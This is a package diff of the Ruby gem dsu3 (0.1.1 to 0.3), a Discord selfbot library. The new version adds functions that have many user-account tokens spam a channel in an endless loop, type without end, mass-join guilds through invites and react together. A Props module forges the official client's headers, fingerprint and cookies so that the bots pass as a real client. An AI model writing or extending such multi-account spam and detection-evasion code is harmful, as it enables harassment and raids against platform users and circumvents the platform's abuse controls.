dsu3 0.1.1 → 0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 2cbc5bed63d5169fb7075fa008aff037d57963fcded8b2966817e8d597a58019
4
- data.tar.gz: 4165c98f3c3f1ad76a2818ccd08c6ed9c16de71181f676f446fdc342c1f968d6
3
+ metadata.gz: 1bdb56aba1f99a4481ab5f9f77ca5b0ce9225018bc63e9ee6d2c6328293b4bd4
4
+ data.tar.gz: 4e21edf7b3a559d2df17051d80afabf2ddfc2092173a0c21ad3799790cd3e866
5
5
  SHA512:
6
- metadata.gz: 24f4b7f673bc3f08fd2db4f53ee52543aebbd9598a056f706658306a74ea56037a396e50190539a98d419fd431d89668d6168a10dc9c250cd351756473f2675f
7
- data.tar.gz: 11d228d975bed83427621f15303fceff732930ceec9b5a7315be2ba3d42219757c2b3e94cd6ef8be1e6c4677a7fbbb993b4a61d2040bb0e2e9a9b552eb06b717
6
+ metadata.gz: 23353ec18dc576ed7013887bf3807b8c9c180271de19ffaa6e064785fe587175cd44d70ef7096a162b342032bcc8395914e6bc54c03bf252ffec21c888545bde
7
+ data.tar.gz: 41d794a77c78de9dac650012f841c3ddb921ef38080dda5d3e654c1e0a8974b5fc9f80a2964e91fc642c5fe168a351e1202357cec6aa2fc0072283068aea25a0
data/README.md CHANGED
@@ -3,7 +3,5 @@ dsu3 is a simple library for working with discord selfbots
3
3
 
4
4
  # installing
5
5
  ```sh
6
- git clone https://github.com/hackers-pr/dsu3.git
7
- gem build dsu3.gemspec
8
- sudo gem install ./dsu3-0.1.0.gem
6
+ sudo gem install dsu3
9
7
  ```
data/lib/dsu3/bot.rb CHANGED
@@ -1,6 +1,7 @@
1
1
  # frozen_string_literal: true
2
2
 
3
3
  require 'rest-client'
4
+ require 'json'
4
5
  require 'uri'
5
6
 
6
7
  module DSU3
@@ -13,7 +14,7 @@ module DSU3
13
14
  end
14
15
 
15
16
  # Makes an API request, includes simple rate limit handling
16
- # @param [Symbol, String] method
17
+ # @param [Symbol, String] method
17
18
  # @param [String] endpoint Discord API endpoint
18
19
  # @param [Hash] headers Additional request headers
19
20
  # @param [String] payload
@@ -28,11 +29,60 @@ module DSU3
28
29
 
29
30
  begin
30
31
  RestClient::Request.execute(args)
31
- rescue RestClient::TooManyRequests => e
32
- LOGGER.warn('rate limit exceeded')
33
- sleep(e.headers['Retry-After'])
34
- retry
32
+ rescue RestClient::ExceptionWithResponse => e
33
+ data = JSON.parse(e.response)
34
+
35
+ if e.is_a?(RestClient::TooManyRequests)
36
+ retry_after = data['retry_after'] / 1000.0
37
+
38
+ LOGGER.warn("rate limit exceeded, waiting #{retry_after} seconds")
39
+ sleep(retry_after)
40
+ retry
41
+ else
42
+ LOGGER.error("#{data['code']}: #{data['message']}")
43
+ end
35
44
  end
36
45
  end
46
+
47
+ # Types text into a particular channel
48
+ # @param [String, Integer] channel Channel ID
49
+ def type(channel)
50
+ request(:post, "channels/#{channel}/typing")
51
+ end
52
+
53
+ # Sends a message to a specific channel
54
+ # @param [String, Integer] channel Channel ID
55
+ # @param [String] message
56
+ def send_message(channel, message)
57
+ request(
58
+ :post, "channels/#{channel}/messages",
59
+ {}, { content: message }.to_json
60
+ )
61
+ end
62
+
63
+ # Joins guild
64
+ # @param [String] invite Invite code
65
+ def join(invite)
66
+ request(
67
+ :post, "invites/#{invite}",
68
+ { x_context_properties: 'eyJsb2NhdGlvbiI6Ik1hcmtkb3duIExpbmsifQ==' },
69
+ '{}'
70
+ )
71
+ end
72
+
73
+ # Reacts to a message
74
+ # @note To use custom emoji, you must encode it in the format name:id with the emoji name and emoji id
75
+ # @param [String, Integer] channel Channel ID
76
+ # @param [String, Integer] message Message ID
77
+ # @param [String] emoji
78
+ def react(channel, message, emoji)
79
+ emoji = URI.encode_www_form_component(emoji)
80
+
81
+ request(
82
+ :put,
83
+ "channels/#{channel}/messages/#{message}/reactions/#{emoji}/@me",
84
+ {params: {location: 'Message'}}
85
+ )
86
+ end
37
87
  end
38
88
  end
data/lib/dsu3/core.rb CHANGED
@@ -1,71 +1,47 @@
1
1
  # frozen_string_literal: true
2
2
 
3
- require 'base64'
4
- require 'json'
5
-
3
+ require 'dsu3/props'
6
4
  require 'dsu3/bot'
7
5
 
8
6
  module DSU3
9
7
  # All DSU3 functionality, used to manage multiple bots
10
8
  class Core
11
- # user-agent header
12
- USER_AGENT =
13
- 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) '\
14
- 'discord/0.0.18 Chrome/91.0.4472.164 Electron/13.6.6 Safari/537.36'
15
-
16
- # Decoded x-super-properties header
17
- SUPER_PROPERTIES = {
18
- os: 'Linux',
19
- browser: 'Discord Client',
20
- release_channel: 'stable',
21
- client_version: '0.0.18',
22
- os_version: '5.10.0-14-amd64',
23
- os_arch: 'x64',
24
- system_locale: 'en-US',
25
- window_manager: 'XFCE,xfce',
26
- distro: 'Debian GNU/Linux 11 (bullseye)',
27
- client_build_number: 136_921,
28
- client_event_source: nil
29
- }.freeze
30
-
31
- # Main headers
32
- HEADERS = {
33
- accept: '*/*',
34
- accept_encoding: 'gzip, deflate, br',
35
- accept_language: 'en-US',
36
- sec_fetch_dest: 'empty',
37
- sec_fetch_mode: 'cors',
38
- sec_fetch_site: 'same-origin',
39
- user_agent: USER_AGENT,
40
- x_debug_options: 'bugReporterEnabled',
41
- x_discord_locale: 'en-US',
42
- x_super_properties: Base64.strict_encode64(SUPER_PROPERTIES.to_json)
43
- }.freeze
44
-
45
9
  # @param [Array] tokens List of bot tokens
46
10
  def initialize(tokens)
47
- headers = get_headers
11
+ headers = Props.headers
48
12
  @bots = tokens.map { |token| Bot.new(headers.merge(authorization: token)) }
49
13
  end
50
14
 
51
- # Infinitely types in a certain channel
52
- # @param [String, Integer] channel Channel id
15
+ # (see Bot#type)
53
16
  def typespam(channel)
54
17
  loop do
55
- @bots.each { |bot| bot.request(:post, "channels/#{channel}/typing") }
18
+ @bots.each(&:type)
56
19
  sleep 9
57
20
  end
58
21
  end
59
22
 
60
- private
23
+ # (see Bot#send_message)
24
+ def send_message(channel, message)
25
+ @bots.each { |bot| bot.send_message(channel, message) }
26
+ end
27
+
28
+ # Infinitely calls a block and sends the value it returns to a specific channel
29
+ # @param [String, Integer] channel Channel ID
30
+ def spam(channel, &block)
31
+ loop { @bots.each { |bot| bot.send_message(channel, block.call) } }
32
+ end
61
33
 
62
- def get_headers
63
- resp = RestClient.get('https://discord.com/api/v9/experiments', HEADERS)
34
+ # (see Bot#join)
35
+ def join(invite)
36
+ @bots.each do |bot|
37
+ bot.join(invite)
38
+ sleep(0.5)
39
+ end
40
+ end
64
41
 
65
- {
66
- cookie: HTTP::Cookie.cookie_value(resp.cookie_jar.cookies),
67
- x_fingerprint: JSON.parse(resp.body)['fingerprint']
68
- }.merge(HEADERS)
42
+ # (see Bot#react)
43
+ def react(channel, message, emoji)
44
+ @bots.each { |bot| bot.react(channel, message, emoji) }
69
45
  end
70
46
  end
71
47
  end
data/lib/dsu3/props.rb ADDED
@@ -0,0 +1,57 @@
1
+ # frozen_string_literal: true
2
+
3
+ require 'rest-client'
4
+ require 'json'
5
+ require 'base64'
6
+
7
+ module DSU3
8
+ module Props
9
+ module_function
10
+
11
+ # user-agent header
12
+ USER_AGENT =
13
+ 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) '\
14
+ 'discord/0.0.18 Chrome/91.0.4472.164 Electron/13.6.6 Safari/537.36'
15
+
16
+ # Decoded x-super-properties header
17
+ SUPER_PROPERTIES = {
18
+ os: 'Linux',
19
+ browser: 'Discord Client',
20
+ release_channel: 'stable',
21
+ client_version: '0.0.18',
22
+ os_version: '5.10.0-14-amd64',
23
+ os_arch: 'x64',
24
+ system_locale: 'en-US',
25
+ window_manager: 'XFCE,xfce',
26
+ distro: 'Debian GNU/Linux 11 (bullseye)',
27
+ client_build_number: 136_921,
28
+ client_event_source: nil
29
+ }.freeze
30
+
31
+ # Main headers
32
+ HEADERS = {
33
+ accept: '*/*',
34
+ accept_encoding: 'gzip, deflate, br',
35
+ accept_language: 'en-US',
36
+ sec_fetch_dest: 'empty',
37
+ sec_fetch_mode: 'cors',
38
+ sec_fetch_site: 'same-origin',
39
+ user_agent: USER_AGENT,
40
+ x_debug_options: 'bugReporterEnabled',
41
+ x_discord_locale: 'en-US',
42
+ x_super_properties: Base64.strict_encode64(SUPER_PROPERTIES.to_json),
43
+ content_type: 'application/json',
44
+ origin: 'https://discord.com'
45
+ }.freeze
46
+
47
+ # Gets the headers necessary for normal interaction with the Discord API
48
+ def headers
49
+ resp = RestClient.get('https://discord.com/api/v9/experiments')
50
+
51
+ {
52
+ cookie: HTTP::Cookie.cookie_value(resp.cookie_jar.cookies),
53
+ x_fingerprint: JSON.parse(resp.body)['fingerprint']
54
+ }.merge(HEADERS)
55
+ end
56
+ end
57
+ end
data/lib/dsu3.rb CHANGED
@@ -5,7 +5,7 @@ require 'dsu3/core'
5
5
 
6
6
  # Main DSU3 namespace
7
7
  module DSU3
8
- VERSION = '0.1.1'
8
+ VERSION = '0.3'
9
9
 
10
10
  LOGGER = Logger.new($stdout)
11
11
  LOGGER.level = Logger::WARN
metadata CHANGED
@@ -1,14 +1,14 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: dsu3
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.1.1
4
+ version: '0.3'
5
5
  platform: ruby
6
6
  authors:
7
7
  - Artur Sheremetjev IV
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2022-07-15 00:00:00.000000000 Z
11
+ date: 2022-07-17 00:00:00.000000000 Z
12
12
  dependencies:
13
13
  - !ruby/object:Gem::Dependency
14
14
  name: rest-client
@@ -35,11 +35,14 @@ files:
35
35
  - lib/dsu3.rb
36
36
  - lib/dsu3/bot.rb
37
37
  - lib/dsu3/core.rb
38
- homepage: https://github.com/hackers-pr/dsu3
38
+ - lib/dsu3/props.rb
39
+ homepage: https://rubygems.org/gems/dsu3
39
40
  licenses:
40
41
  - MIT
41
42
  metadata:
42
43
  source_code_uri: https://github.com/hackers-pr/dsu3
44
+ bug_tracker_uri: https://github.com/hackers-pr/dsu3/issues
45
+ wiki_uri: https://www.rubydoc.info/gems/dsu3
43
46
  post_install_message:
44
47
  rdoc_options: []
45
48
  require_paths: